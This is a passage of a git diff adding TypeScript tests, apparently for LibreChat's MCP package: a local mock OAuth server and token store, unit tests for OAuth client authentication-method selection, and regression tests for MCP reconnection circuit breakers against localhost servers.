+        expect(mockDiscoverAuthorizationServerMetadata).toHaveBeenCalledTimes(2);
+      });
+    });
   });
 });
diff --git a/packages/api/src/mcp/__tests__/helpers/oauthTestServer.ts b/packages/api/src/mcp/__tests__/helpers/oauthTestServer.ts
new file mode 100644
index 0000000000..3b68b2ded4
--- /dev/null
+++ b/packages/api/src/mcp/__tests__/helpers/oauthTestServer.ts
@@ -0,0 +1,449 @@
+import * as http from 'http';
+import * as net from 'net';
+import { randomUUID, createHash } from 'crypto';
+import { z } from 'zod';
+import { McpServer } from '@modelcontextprotocol/sdk/server/mcp.js';
+import { StreamableHTTPServerTransport } from '@modelcontextprotocol/sdk/server/streamableHttp.js';
+import type { FlowState } from '~/flow/types';
+import type { Socket } from 'net';
+
+export class MockKeyv<T = unknown> {
+  private store: Map<string, FlowState<T>>;
+
+  constructor() {
+    this.store = new Map();
+  }
+
+  async get(key: string): Promise<FlowState<T> | undefined> {
+    return this.store.get(key);
+  }
+
+  async set(key: string, value: FlowState<T>, _ttl?: number): Promise<true> {
+    this.store.set(key, value);
+    return true;
+  }
+
+  async delete(key: string): Promise<boolean> {
+    return this.store.delete(key);
+  }
+}
+
+export function getFreePort(): Promise<number> {
+  return new Promise((resolve, reject) => {
+    const srv = net.createServer();
+    srv.listen(0, '127.0.0.1', () => {
+      const addr = srv.address() as net.AddressInfo;
+      srv.close((err) => (err ? reject(err) : resolve(addr.port)));
+    });
+  });
+}
+
+export function trackSockets(httpServer: http.Server): () => Promise<void> {
+  const sockets = new Set<Socket>();
+  httpServer.on('connection', (socket: Socket) => {
+    sockets.add(socket);
+    socket.once('close', () => sockets.delete(socket));
+  });
+  return () =>
+    new Promise<void>((resolve) => {
+      for (const socket of sockets) {
+        socket.destroy();
+      }
+      sockets.clear();
+      httpServer.close(() => resolve());
+    });
+}
+
+export interface OAuthTestServerOptions {
+  tokenTTLMs?: number;
+  issueRefreshTokens?: boolean;
+  refreshTokenTTLMs?: number;
+  rotateRefreshTokens?: boolean;
+}
+
+export interface OAuthTestServer {
+  url: string;
+  port: number;
+  close: () => Promise<void>;
+  issuedTokens: Set<string>;
+  tokenTTL: number;
+  tokenIssueTimes: Map<string, number>;
+  issuedRefreshTokens: Map<string, string>;
+  registeredClients: Map<string, { client_id: string; client_secret: string }>;
+  getAuthCode: () => Promise<string>;
+}
+
+async function readRequestBody(req: http.IncomingMessage): Promise<string> {
+  const chunks: Uint8Array[] = [];
+  for await (const chunk of req) {
+    chunks.push(chunk as Uint8Array);
+  }
+  return Buffer.concat(chunks).toString();
+}
+
+function parseTokenRequest(body: string, contentType: string | undefined): URLSearchParams | null {
+  if (contentType?.includes('application/x-www-form-urlencoded')) {
+    return new URLSearchParams(body);
+  }
+  if (contentType?.includes('application/json')) {
+    const json = JSON.parse(body) as Record<string, string>;
+    return new URLSearchParams(json);
+  }
+  return new URLSearchParams(body);
+}
+
+export async function createOAuthMCPServer(
+  options: OAuthTestServerOptions = {},
+): Promise<OAuthTestServer> {
+  const {
+    tokenTTLMs = 60000,
+    issueRefreshTokens = false,
+    refreshTokenTTLMs = 365 * 24 * 60 * 60 * 1000,
+    rotateRefreshTokens = false,
+  } = options;
+
+  const sessions = new Map<string, StreamableHTTPServerTransport>();
+  const issuedTokens = new Set<string>();
+  const tokenIssueTimes = new Map<string, number>();
+  const issuedRefreshTokens = new Map<string, string>();
+  const refreshTokenIssueTimes = new Map<string, number>();
+  const authCodes = new Map<string, { codeChallenge?: string; codeChallengeMethod?: string }>();
+  const registeredClients = new Map<string, { client_id: string; client_secret: string }>();
+
+  let port = 0;
+
+  const httpServer = http.createServer(async (req, res) => {
+    const url = new URL(req.url ?? '/', `http://${req.headers.host}`);
+
+    if (url.pathname === '/.well-known/oauth-authorization-server' && req.method === 'GET') {
+      res.writeHead(200, { 'Content-Type': 'application/json' });
+      res.end(
+        JSON.stringify({
+          issuer: `http://127.0.0.1:${port}`,
+          authorization_endpoint: `http://127.0.0.1:${port}/authorize`,
+          token_endpoint: `http://127.0.0.1:${port}/token`,
+          registration_endpoint: `http://127.0.0.1:${port}/register`,
+          response_types_supported: ['code'],
+          grant_types_supported: issueRefreshTokens
+            ? ['authorization_code', 'refresh_token']
+            : ['authorization_code'],
+          token_endpoint_auth_methods_supported: ['client_secret_basic', 'client_secret_post'],
+          code_challenge_methods_supported: ['S256'],
+        }),
+      );
+      return;
+    }
+
+    if (url.pathname === '/register' && req.method === 'POST') {
+      const body = await readRequestBody(req);
+      const data = JSON.parse(body) as { redirect_uris?: string[] };
+      const clientId = `client-${randomUUID().slice(0, 8)}`;
+      const clientSecret = `secret-${randomUUID()}`;
+      registeredClients.set(clientId, { client_id: clientId, client_secret: clientSecret });
+      res.writeHead(200, { 'Content-Type': 'application/json' });
+      res.end(
+        JSON.stringify({
+          client_id: clientId,
+          client_secret: clientSecret,
+          redirect_uris: data.redirect_uris ?? [],
+        }),
+      );
+      return;
+    }
+
+    if (url.pathname === '/authorize') {
+      const code = randomUUID();
+      const codeChallenge = url.searchParams.get('code_challenge') ?? undefined;
+      const codeChallengeMethod = url.searchParams.get('code_challenge_method') ?? undefined;
+      authCodes.set(code, { codeChallenge, codeChallengeMethod });
+      const redirectUri = url.searchParams.get('redirect_uri') ?? '';
+      const state = url.searchParams.get('state') ?? '';
+      res.writeHead(302, {
+        Location: `${redirectUri}?code=${code}&state=${state}`,
+      });
+      res.end();
+      return;
+    }
+
+    if (url.pathname === '/token' && req.method === 'POST') {
+      const body = await readRequestBody(req);
+      const params = parseTokenRequest(body, req.headers['content-type']);
+      if (!params) {
+        res.writeHead(400, { 'Content-Type': 'application/json' });
+        res.end(JSON.stringify({ error: 'invalid_request' }));
+        return;
+      }
+
+      const grantType = params.get('grant_type');
+
+      if (grantType === 'authorization_code') {
+        const code = params.get('code');
+        const codeData = code ? authCodes.get(code) : undefined;
+        if (!code || !codeData) {
+          res.writeHead(400, { 'Content-Type': 'application/json' });
+          res.end(JSON.stringify({ error: 'invalid_grant' }));
+          return;
+        }
+
+        if (codeData.codeChallenge) {
+          const codeVerifier = params.get('code_verifier');
+          if (!codeVerifier) {
+            res.writeHead(400, { 'Content-Type': 'application/json' });
+            res.end(JSON.stringify({ error: 'invalid_grant' }));
+            return;
+          }
+          if (codeData.codeChallengeMethod === 'S256') {
+            const expected = createHash('sha256').update(codeVerifier).digest('base64url');
+            if (expected !== codeData.codeChallenge) {
+              res.writeHead(400, { 'Content-Type': 'application/json' });
+              res.end(JSON.stringify({ error: 'invalid_grant' }));
+              return;
+            }
+          }
+        }
+
+        authCodes.delete(code);
+
+        const accessToken = randomUUID();
+        issuedTokens.add(accessToken);
+        tokenIssueTimes.set(accessToken, Date.now());
+
+        const tokenResponse: Record<string, string | number> = {
+          access_token: accessToken,
+          token_type: 'Bearer',
+          expires_in: Math.ceil(tokenTTLMs / 1000),
+        };
+
+        if (issueRefreshTokens) {
+          const refreshToken = randomUUID();
+          issuedRefreshTokens.set(refreshToken, accessToken);
+          refreshTokenIssueTimes.set(refreshToken, Date.now());
+          tokenResponse.refresh_token = refreshToken;
+        }
+
+        res.writeHead(200, { 'Content-Type': 'application/json' });
+        res.end(JSON.stringify(tokenResponse));
+        return;
+      }
+
+      if (grantType === 'refresh_token' && issueRefreshTokens) {
+        const refreshToken = params.get('refresh_token');
+        if (!refreshToken || !issuedRefreshTokens.has(refreshToken)) {
+          res.writeHead(400, { 'Content-Type': 'application/json' });
+          res.end(JSON.stringify({ error: 'invalid_grant' }));
+          return;
+        }
+
+        const issueTime = refreshTokenIssueTimes.get(refreshToken) ?? 0;
+        if (Date.now() - issueTime > refreshTokenTTLMs) {
+          issuedRefreshTokens.delete(refreshToken);
+          refreshTokenIssueTimes.delete(refreshToken);
+          res.writeHead(400, { 'Content-Type': 'application/json' });
+          res.end(JSON.stringify({ error: 'invalid_grant' }));
+          return;
+        }
+
+        const newAccessToken = randomUUID();
+        issuedTokens.add(newAccessToken);
+        tokenIssueTimes.set(newAccessToken, Date.now());
+
+        const tokenResponse: Record<string, string | number> = {
+          access_token: newAccessToken,
+          token_type: 'Bearer',
+          expires_in: Math.ceil(tokenTTLMs / 1000),
+        };
+
+        if (rotateRefreshTokens) {
+          issuedRefreshTokens.delete(refreshToken);
+          refreshTokenIssueTimes.delete(refreshToken);
+          const newRefreshToken = randomUUID();
+          issuedRefreshTokens.set(newRefreshToken, newAccessToken);
+          refreshTokenIssueTimes.set(newRefreshToken, Date.now());
+          tokenResponse.refresh_token = newRefreshToken;
+        }
+
+        res.writeHead(200, { 'Content-Type': 'application/json' });
+        res.end(JSON.stringify(tokenResponse));
+        return;
+      }
+
+      res.writeHead(400, { 'Content-Type': 'application/json' });
+      res.end(JSON.stringify({ error: 'unsupported_grant_type' }));
+      return;
+    }
+
+    // All other paths require Bearer token auth
+    const authHeader = req.headers.authorization;
+    if (!authHeader || !authHeader.startsWith('Bearer ')) {
+      res.writeHead(401, { 'Content-Type': 'application/json' });
+      res.end(JSON.stringify({ error: 'invalid_token' }));
+      return;
+    }
+
+    const token = authHeader.slice(7);
+    if (!issuedTokens.has(token)) {
+      res.writeHead(401, { 'Content-Type': 'application/json' });
+      res.end(JSON.stringify({ error: 'invalid_token' }));
+      return;
+    }
+
+    const issueTime = tokenIssueTimes.get(token) ?? 0;
+    if (Date.now() - issueTime > tokenTTLMs) {
+      issuedTokens.delete(token);
+      tokenIssueTimes.delete(token);
+      res.writeHead(401, { 'Content-Type': 'application/json' });
+      res.end(JSON.stringify({ error: 'invalid_token' }));
+      return;
+    }
+
+    // Authenticated MCP request — route to transport
+    const sid = req.headers['mcp-session-id'] as string | undefined;
+    let transport = sid ? sessions.get(sid) : undefined;
+
+    if (!transport) {
+      transport = new StreamableHTTPServerTransport({
+        sessionIdGenerator: () => randomUUID(),
+      });
+      const mcp = new McpServer({ name: 'oauth-test-server', version: '0.0.1' });
+      mcp.tool('echo', { message: z.string() }, async (args) => ({
+        content: [{ type: 'text' as const, text: `echo: ${args.message}` }],
+      }));
+      await mcp.connect(transport);
+    }
+
+    await transport.handleRequest(req, res);
+
+    if (transport.sessionId && !sessions.has(transport.sessionId)) {
+      sessions.set(transport.sessionId, transport);
+      transport.onclose = () => sessions.delete(transport!.sessionId!);
+    }
+  });
+
+  const destroySockets = trackSockets(httpServer);
+  port = await getFreePort();
+  await new Promise<void>((resolve) => httpServer.listen(port, '127.0.0.1', resolve));
+
+  return {
+    url: `http://127.0.0.1:${port}/`,
+    port,
+    issuedTokens,
+    tokenTTL: tokenTTLMs,
+    tokenIssueTimes,
+    issuedRefreshTokens,
+    registeredClients,
+    getAuthCode: async () => {
+      const authRes = await fetch(
+        `http://127.0.0.1:${port}/authorize?redirect_uri=http://localhost&state=test`,
+        { redirect: 'manual' },
+      );
+      const location = authRes.headers.get('location') ?? '';
+      return new URL(location).searchParams.get('code') ?? '';
+    },
+    close: async () => {
+      const closing = [...sessions.values()].map((t) => t.close().catch(() => undefined));
+      sessions.clear();
+      await Promise.all(closing);
+      await destroySockets();
+    },
+  };
+}
+
+export interface InMemoryToken {
+  userId: string;
+  type: string;
+  identifier: string;
+  token: string;
+  expiresAt: Date;
+  createdAt: Date;
+  metadata?: Map<string, unknown> | Record<string, unknown>;
+}
+
+export class InMemoryTokenStore {
+  private tokens: Map<string, InMemoryToken> = new Map();
+
+  private key(filter: { userId?: string; type?: string; identifier?: string }): string {
+    return `${filter.userId}:${filter.type}:${filter.identifier}`;
+  }
+
+  findToken = async (filter: {
+    userId?: string;
+    type?: string;
+    identifier?: string;
+  }): Promise<InMemoryToken | null> => {
+    for (const token of this.tokens.values()) {
+      const matchUserId = !filter.userId || token.userId === filter.userId;
+      const matchType = !filter.type || token.type === filter.type;
+      const matchIdentifier = !filter.identifier || token.identifier === filter.identifier;
+      if (matchUserId && matchType && matchIdentifier) {
+        return token;
+      }
+    }
+    return null;
+  };
+
+  createToken = async (data: {
+    userId: string;
+    type: string;
+    identifier: string;
+    token: string;
+    expiresIn?: number;
+    metadata?: Record<string, unknown>;
+  }): Promise<InMemoryToken> => {
+    const expiresIn = data.expiresIn ?? 365 * 24 * 60 * 60;
+    const token: InMemoryToken = {
+      userId: data.userId,
+      type: data.type,
+      identifier: data.identifier,
+      token: data.token,
+      expiresAt: new Date(Date.now() + expiresIn * 1000),
+      createdAt: new Date(),
+      metadata: data.metadata,
+    };
+    this.tokens.set(this.key(data), token);
+    return token;
+  };
+
+  updateToken = async (
+    filter: { userId?: string; type?: string; identifier?: string },
+    data: {
+      userId?: string;
+      type?: string;
+      identifier?: string;
+      token?: string;
+      expiresIn?: number;
+      metadata?: Record<string, unknown>;
+    },
+  ): Promise<InMemoryToken> => {
+    const existing = await this.findToken(filter);
+    if (!existing) {
+      throw new Error(`Token not found for filter: ${JSON.stringify(filter)}`);
+    }
+    const existingKey = this.key(existing);
+    const expiresIn =
+      data.expiresIn ?? Math.floor((existing.expiresAt.getTime() - Date.now()) / 1000);
+    const updated: InMemoryToken = {
+      ...existing,
+      token: data.token ?? existing.token,
+      expiresAt: data.expiresIn ? new Date(Date.now() + expiresIn * 1000) : existing.expiresAt,
+      metadata: data.metadata ?? existing.metadata,
+    };
+    this.tokens.set(existingKey, updated);
+    return updated;
+  };
+
+  deleteToken = async (filter: {
+    userId: string;
+    type: string;
+    identifier: string;
+  }): Promise<void> => {
+    this.tokens.delete(this.key(filter));
+  };
+
+  getAll(): InMemoryToken[] {
+    return [...this.tokens.values()];
+  }
+
+  clear(): void {
+    this.tokens.clear();
+  }
+}
diff --git a/packages/api/src/mcp/__tests__/methods.test.ts b/packages/api/src/mcp/__tests__/methods.test.ts
new file mode 100644
index 0000000000..acd96186a3
--- /dev/null
+++ b/packages/api/src/mcp/__tests__/methods.test.ts
@@ -0,0 +1,195 @@
+import { TokenExchangeMethodEnum } from 'librechat-data-provider';
+import {
+  getForcedTokenEndpointAuthMethod,
+  resolveTokenEndpointAuthMethod,
+  selectRegistrationAuthMethod,
+  inferClientAuthMethod,
+} from '~/mcp/oauth/methods';
+
+describe('getForcedTokenEndpointAuthMethod', () => {
+  it('returns client_secret_post for DefaultPost', () => {
+    expect(getForcedTokenEndpointAuthMethod(TokenExchangeMethodEnum.DefaultPost)).toBe(
+      'client_secret_post',
+    );
+  });
+
+  it('returns client_secret_basic for BasicAuthHeader', () => {
+    expect(getForcedTokenEndpointAuthMethod(TokenExchangeMethodEnum.BasicAuthHeader)).toBe(
+      'client_secret_basic',
+    );
+  });
+
+  it('returns undefined when not set', () => {
+    expect(getForcedTokenEndpointAuthMethod(undefined)).toBeUndefined();
+  });
+});
+
+describe('selectRegistrationAuthMethod', () => {
+  it('respects server preference order: client_secret_post first', () => {
+    expect(selectRegistrationAuthMethod(['client_secret_post', 'client_secret_basic'])).toBe(
+      'client_secret_post',
+    );
+  });
+
+  it('respects server preference order: client_secret_basic first', () => {
+    expect(selectRegistrationAuthMethod(['client_secret_basic', 'client_secret_post'])).toBe(
+      'client_secret_basic',
+    );
+  });
+
+  it('selects none when server only advertises none', () => {
+    expect(selectRegistrationAuthMethod(['none'])).toBe('none');
+  });
+
+  it('prefers credential-based method over none when server lists none first', () => {
+    expect(selectRegistrationAuthMethod(['none', 'client_secret_basic'])).toBe(
+      'client_secret_basic',
+    );
+  });
+
+  it('prefers credential-based method over none when server lists none before post', () => {
+    expect(selectRegistrationAuthMethod(['none', 'client_secret_post'])).toBe('client_secret_post');
+  });
+
+  it('falls back to server first method when none of our methods match', () => {
+    expect(selectRegistrationAuthMethod(['private_key_jwt', 'tls_client_auth'])).toBe(
+      'private_key_jwt',
+    );
+  });
+
+  it('returns undefined when server omits token_endpoint_auth_methods_supported (RFC 8414 default preserved)', () => {
+    expect(selectRegistrationAuthMethod(undefined)).toBeUndefined();
+  });
+
+  it('returns undefined for empty token_endpoint_auth_methods_supported (RFC 8414 forbids zero-element arrays)', () => {
+    expect(selectRegistrationAuthMethod([])).toBeUndefined();
+  });
+
+  it('forced token_exchange_method overrides server preference', () => {
+    expect(
+      selectRegistrationAuthMethod(['client_secret_basic'], TokenExchangeMethodEnum.DefaultPost),
+    ).toBe('client_secret_post');
+  });
+
+  it('forced BasicAuthHeader overrides server preference', () => {
+    expect(
+      selectRegistrationAuthMethod(
+        ['client_secret_post', 'none'],
+        TokenExchangeMethodEnum.BasicAuthHeader,
+      ),
+    ).toBe('client_secret_basic');
+  });
+
+  it('picks first supported credential method from mixed supported/unsupported list', () => {
+    expect(selectRegistrationAuthMethod(['private_key_jwt', 'client_secret_post'])).toBe(
+      'client_secret_post',
+    );
+  });
+
+  it('skips unsupported and none to find credential method deeper in the list', () => {
+    expect(selectRegistrationAuthMethod(['tls_client_auth', 'none', 'client_secret_basic'])).toBe(
+      'client_secret_basic',
+    );
+  });
+});
+
+describe('resolveTokenEndpointAuthMethod', () => {
+  it('prefers forced tokenExchangeMethod over everything', () => {
+    expect(
+      resolveTokenEndpointAuthMethod({
+        tokenExchangeMethod: TokenExchangeMethodEnum.DefaultPost,
+        tokenAuthMethods: ['client_secret_basic'],
+        preferredMethod: 'client_secret_basic',
+      }),
+    ).toBe('client_secret_post');
+  });
+
+  it('prefers DCR registration response method when no forced override', () => {
+    expect(
+      resolveTokenEndpointAuthMethod({
+        tokenAuthMethods: ['client_secret_basic', 'client_secret_post'],
+        preferredMethod: 'client_secret_post',
+      }),
+    ).toBe('client_secret_post');
+  });
+
+  it('falls back to server methods when no preferred method', () => {
+    expect(
+      resolveTokenEndpointAuthMethod({
+        tokenAuthMethods: ['client_secret_post', 'client_secret_basic'],
+      }),
+    ).toBe('client_secret_basic');
+  });
+
+  it('picks client_secret_post when basic is not in server methods', () => {
+    expect(
+      resolveTokenEndpointAuthMethod({
+        tokenAuthMethods: ['client_secret_post', 'none'],
+      }),
+    ).toBe('client_secret_post');
+  });
+
+  it('returns undefined when no recognized methods', () => {
+    expect(
+      resolveTokenEndpointAuthMethod({
+        tokenAuthMethods: ['private_key_jwt'],
+      }),
+    ).toBeUndefined();
+  });
+
+  it('defaults to client_secret_basic when no methods advertised (RFC 8414)', () => {
+    expect(
+      resolveTokenEndpointAuthMethod({
+        tokenAuthMethods: ['client_secret_basic'],
+      }),
+    ).toBe('client_secret_basic');
+  });
+
+  it('ignores exotic preferredMethod and falls back to server methods', () => {
+    expect(
+      resolveTokenEndpointAuthMethod({
+        preferredMethod: 'private_key_jwt',
+        tokenAuthMethods: ['client_secret_post'],
+      }),
+    ).toBe('client_secret_post');
+  });
+
+  it('ignores none preferredMethod and falls back to server methods', () => {
+    expect(
+      resolveTokenEndpointAuthMethod({
+        preferredMethod: 'none',
+        tokenAuthMethods: ['client_secret_basic'],
+      }),
+    ).toBe('client_secret_basic');
+  });
+
+  it('returns undefined when tokenAuthMethods is empty', () => {
+    expect(
+      resolveTokenEndpointAuthMethod({
+        tokenAuthMethods: [],
+      }),
+    ).toBeUndefined();
+  });
+});
+
+describe('inferClientAuthMethod', () => {
+  it('returns client_secret_basic when Authorization header is present', () => {
+    expect(inferClientAuthMethod(true, false, false, true)).toBe('client_secret_basic');
+  });
+
+  it('returns client_secret_post when body has client_id', () => {
+    expect(inferClientAuthMethod(false, true, false, true)).toBe('client_secret_post');
+  });
+
+  it('returns client_secret_post when body has client_secret', () => {
+    expect(inferClientAuthMethod(false, false, true, true)).toBe('client_secret_post');
+  });
+
+  it('defaults to client_secret_basic for confidential client with no prior auth (RFC 8414)', () => {
+    expect(inferClientAuthMethod(false, false, false, true)).toBe('client_secret_basic');
+  });
+
+  it('returns none for public client', () => {
+    expect(inferClientAuthMethod(false, false, false, false)).toBe('none');
+  });
+});
diff --git a/packages/api/src/mcp/__tests__/reconnection-storm.test.ts b/packages/api/src/mcp/__tests__/reconnection-storm.test.ts
new file mode 100644
index 0000000000..e073dca8a3
--- /dev/null
+++ b/packages/api/src/mcp/__tests__/reconnection-storm.test.ts
@@ -0,0 +1,668 @@
+/**
+ * Reconnection storm regression tests for PR #12162.
+ *
+ * Validates circuit breaker, throttling, cooldown, and timeout fixes using real
+ * MCP SDK transports (no mocked stubs). A real StreamableHTTP server is spun up
+ * per test suite and MCPConnection talks to it through a genuine HTTP stack.
+ */
+import http from 'http';
+import { randomUUID } from 'crypto';
+import express from 'express';
+import { McpServer } from '@modelcontextprotocol/sdk/server/mcp.js';
+import { isInitializeRequest } from '@modelcontextprotocol/sdk/types.js';
+import { StreamableHTTPServerTransport } from '@modelcontextprotocol/sdk/server/streamableHttp.js';
+import type { Socket } from 'net';
+import type { OAuthTestServer } from './helpers/oauthTestServer';
+import type { MCPOAuthTokens } from '~/mcp/oauth';
+import { OAuthReconnectionTracker } from '~/mcp/oauth/OAuthReconnectionTracker';
+import { createOAuthMCPServer } from './helpers/oauthTestServer';
+import { MCPConnection } from '~/mcp/connection';
+import { mcpConfig } from '~/mcp/mcpConfig';
+
+jest.mock('@librechat/data-schemas', () => ({
+  logger: {
+    info: jest.fn(),
+    warn: jest.fn(),
+    error: jest.fn(),
+    debug: jest.fn(),
+  },
+}));
+
+/* ------------------------------------------------------------------ */
+/*  Helpers                                                           */
+/* ------------------------------------------------------------------ */
+
+interface TestServer {
+  url: string;
+  httpServer: http.Server;
+  close: () => Promise<void>;
+}
+
+function trackSockets(httpServer: http.Server): () => Promise<void> {
+  const sockets = new Set<Socket>();
+  httpServer.on('connection', (socket: Socket) => {
+    sockets.add(socket);
+    socket.once('close', () => sockets.delete(socket));
+  });
+  return () =>
+    new Promise<void>((resolve) => {
+      for (const socket of sockets) {
+        socket.destroy();
+      }
+      sockets.clear();
+      httpServer.close(() => resolve());
+    });
+}
+
+function startMCPServer(): Promise<TestServer> {
+  const app = express();
+  app.use(express.json());
+
+  const transports: Record<string, StreamableHTTPServerTransport> = {};
+
+  function createServer(): McpServer {
+    const server = new McpServer({ name: 'test-server', version: '1.0.0' });
+    server.tool('echo', 'echoes input', { message: { type: 'string' } as never }, async (args) => {
+      const msg = (args as Record<string, string>).message ?? '';
+      return { content: [{ type: 'text', text: msg }] };
+    });
+    return server;
+  }
+
+  app.all('/mcp', async (req, res) => {
+    const sessionId = req.headers['mcp-session-id'] as string | undefined;
+
+    if (sessionId && transports[sessionId]) {
+      await transports[sessionId].handleRequest(req, res, req.body);
+      return;
+    }
+
+    if (!sessionId && isInitializeRequest(req.body)) {
+      const transport = new StreamableHTTPServerTransport({
+        sessionIdGenerator: () => randomUUID(),
+        onsessioninitialized: (sid) => {
+          transports[sid] = transport;
+        },
+      });
+      transport.onclose = () => {
+        const sid = transport.sessionId;
+        if (sid) {
+          delete transports[sid];
+        }
+      };
+      const server = createServer();
+      await server.connect(transport);
+      await transport.handleRequest(req, res, req.body);
+      return;
+    }
+
+    if (req.method === 'GET') {
+      res.status(404).send('Not Found');
+      return;
+    }
+
+    res.status(400).json({
+      jsonrpc: '2.0',
+      error: { code: -32000, message: 'Bad Request: No valid session ID provided' },
+      id: null,
+    });
+  });
+
+  return new Promise((resolve) => {
+    const httpServer = app.listen(0, '127.0.0.1', () => {
+      const destroySockets = trackSockets(httpServer);
+      const addr = httpServer.address() as { port: number };
+      resolve({
+        url: `http://127.0.0.1:${addr.port}/mcp`,
+        httpServer,
+        close: async () => {
+          for (const t of Object.values(transports)) {
+            t.close().catch(() => {});
+          }
+          await destroySockets();
+        },
+      });
+    });
+  });
+}
+
+function createConnection(serverName: string, url: string, initTimeout = 5000): MCPConnection {
+  return new MCPConnection({
+    serverName,
+    serverConfig: { url, type: 'streamable-http', initTimeout } as never,
+  });
+}
+
+async function teardownConnection(conn: MCPConnection): Promise<void> {
+  // eslint-disable-next-line @typescript-eslint/no-explicit-any
+  (conn as any).shouldStopReconnecting = true;
+  conn.removeAllListeners();
+  await conn.disconnect();
+}
+
+afterEach(() => {
+  // eslint-disable-next-line @typescript-eslint/no-explicit-any
+  (MCPConnection as any).circuitBreakers.clear();
+});
+
+/* ------------------------------------------------------------------ */
+/*  Fix #2 — Circuit breaker trips after rapid connect/disconnect      */
+/*  cycles (CB_MAX_CYCLES within window -> cooldown)                    */
+/* ------------------------------------------------------------------ */
+describe('Fix #2: Circuit breaker stops rapid reconnect cycling', () => {
+  it('blocks connection after CB_MAX_CYCLES rapid cycles via static circuit breaker', async () => {
+    const srv = await startMCPServer();
+    const conn = createConnection('cycling-server', srv.url);
+
+    let completedCycles = 0;
+    let breakerMessage = '';
+    const maxAttempts = mcpConfig.CB_MAX_CYCLES * 2;
+    for (let cycle = 0; cycle < maxAttempts; cycle++) {
+      try {
+        await conn.connect();
+        await teardownConnection(conn);
+        // eslint-disable-next-line @typescript-eslint/no-explicit-any
+        (conn as any).shouldStopReconnecting = false;
+        completedCycles++;
+      } catch (e) {
+        breakerMessage = (e as Error).message;
+        break;
+      }
+    }
+
+    expect(breakerMessage).toContain('Circuit breaker is open');
+    expect(completedCycles).toBeLessThanOrEqual(mcpConfig.CB_MAX_CYCLES);
+
+    await srv.close();
+  });
+});
+
+/* ------------------------------------------------------------------ */
+/*  Fix #3 — SSE 400/405 handled in same branch as 404                */
+/* ------------------------------------------------------------------ */
+describe('Fix #3: SSE 400/405 handled in same branch as 404', () => {
+  it('400 with active session triggers reconnection (session lost)', async () => {
+    const srv = await startMCPServer();
+    const conn = createConnection('sse-400', srv.url);
+    await conn.connect();
+
+    // eslint-disable-next-line @typescript-eslint/no-explicit-any
+    (conn as any).shouldStopReconnecting = true;
+
+    const changes: string[] = [];
+    conn.on('connectionChange', (s: string) => changes.push(s));
+
+    // eslint-disable-next-line @typescript-eslint/no-explicit-any
+    const transport = (conn as any).transport;
+    transport.onerror({ message: 'Failed to open SSE stream', code: 400 });
+
+    expect(changes).toContain('error');
+
+    await teardownConnection(conn);
+    await srv.close();
+  });
+
+  it('405 with active session triggers reconnection (session lost)', async () => {
+    const srv = await startMCPServer();
+    const conn = createConnection('sse-405', srv.url);
+    await conn.connect();
+
+    // eslint-disable-next-line @typescript-eslint/no-explicit-any
+    (conn as any).shouldStopReconnecting = true;
+
+    const changes: string[] = [];
+    conn.on('connectionChange', (s: string) => changes.push(s));
+
+    // eslint-disable-next-line @typescript-eslint/no-explicit-any
+    const transport = (conn as any).transport;
+    transport.onerror({ message: 'Method Not Allowed', code: 405 });
+
+    expect(changes).toContain('error');
+
+    await teardownConnection(conn);
+    await srv.close();
+  });
+});
+
+/* ------------------------------------------------------------------ */
+/*  Fix #4 — Circuit breaker state persists in static Map across       */
+/*  instance replacements                                              */
+/* ------------------------------------------------------------------ */
+describe('Fix #4: Circuit breaker state persists across instance replacement', () => {
+  it('new MCPConnection for same serverName inherits breaker state from static Map', async () => {
+    const srv = await startMCPServer();
+
+    const conn1 = createConnection('replace', srv.url);
+    await conn1.connect();
+    await teardownConnection(conn1);
+
+    // eslint-disable-next-line @typescript-eslint/no-explicit-any
+    const cbAfterConn1 = (MCPConnection as any).circuitBreakers.get('replace');
+    expect(cbAfterConn1).toBeDefined();
+    const cyclesAfterConn1 = cbAfterConn1.cycleCount;
+    expect(cyclesAfterConn1).toBeGreaterThan(0);
+
+    const conn2 = createConnection('replace', srv.url);
+    // eslint-disable-next-line @typescript-eslint/no-explicit-any
+    const cbFromConn2 = (conn2 as any).getCircuitBreaker();
+    expect(cbFromConn2.cycleCount).toBe(cyclesAfterConn1);
+
+    await teardownConnection(conn2);
+    await srv.close();
+  });
+
+  it('clearCooldown resets static state so explicit retry proceeds', () => {
+    const conn = createConnection('replace', 'http://127.0.0.1:1/mcp');
+    // eslint-disable-next-line @typescript-eslint/no-explicit-any
+    const cb = (conn as any).getCircuitBreaker();
+    cb.cooldownUntil = Date.now() + 999_999;
+    // eslint-disable-next-line @typescript-eslint/no-explicit-any
+    expect((conn as any).isCircuitOpen()).toBe(true);
+
+    MCPConnection.clearCooldown('replace');
+
+    // eslint-disable-next-line @typescript-eslint/no-explicit-any
+    expect((conn as any).isCircuitOpen()).toBe(false);
+  });
+});
+
+/* ------------------------------------------------------------------ */
+/*  Fix #5 — Dead servers now trigger circuit breaker via              */
+/*  recordFailedRound() in the catch path                              */
+/* ------------------------------------------------------------------ */
+describe('Fix #5: Dead server triggers circuit breaker', () => {
+  it('failures trigger backoff, blocking subsequent attempts before they reach the SDK', async () => {
+    const conn = createConnection('dead', 'http://127.0.0.1:1/mcp', 1000);
+    const spy = jest.spyOn(conn.client, 'connect');
+
+    const totalAttempts = mcpConfig.CB_MAX_FAILED_ROUNDS + 2;
+    const errors: string[] = [];
+    for (let i = 0; i < totalAttempts; i++) {
+      try {
+        await conn.connect();
+      } catch (e) {
+        errors.push((e as Error).message);
+      }
+    }
+
+    expect(spy.mock.calls.length).toBe(mcpConfig.CB_MAX_FAILED_ROUNDS);
+    expect(errors).toHaveLength(totalAttempts);
+    expect(errors.filter((m) => m.includes('Circuit breaker is open'))).toHaveLength(2);
+
+    await conn.disconnect();
+  });
+
+  it('user B is immediately blocked when user A already tripped the breaker for the same server', async () => {
+    const deadUrl = 'http://127.0.0.1:1/mcp';
+
+    const userA = new MCPConnection({
+      serverName: 'shared-dead',
+      serverConfig: { url: deadUrl, type: 'streamable-http', initTimeout: 1000 } as never,
+      userId: 'user-A',
+    });
+
+    for (let i = 0; i < mcpConfig.CB_MAX_FAILED_ROUNDS; i++) {
+      try {
+        await userA.connect();
+      } catch {
+        // expected
+      }
+    }
+
+    const userB = new MCPConnection({
+      serverName: 'shared-dead',
+      serverConfig: { url: deadUrl, type: 'streamable-http', initTimeout: 1000 } as never,
+      userId: 'user-B',
+    });
+    const spyB = jest.spyOn(userB.client, 'connect');
+
+    let blockedMessage = '';
+    try {
+      await userB.connect();
+    } catch (e) {
+      blockedMessage = (e as Error).message;
+    }
+
+    expect(blockedMessage).toContain('Circuit breaker is open');
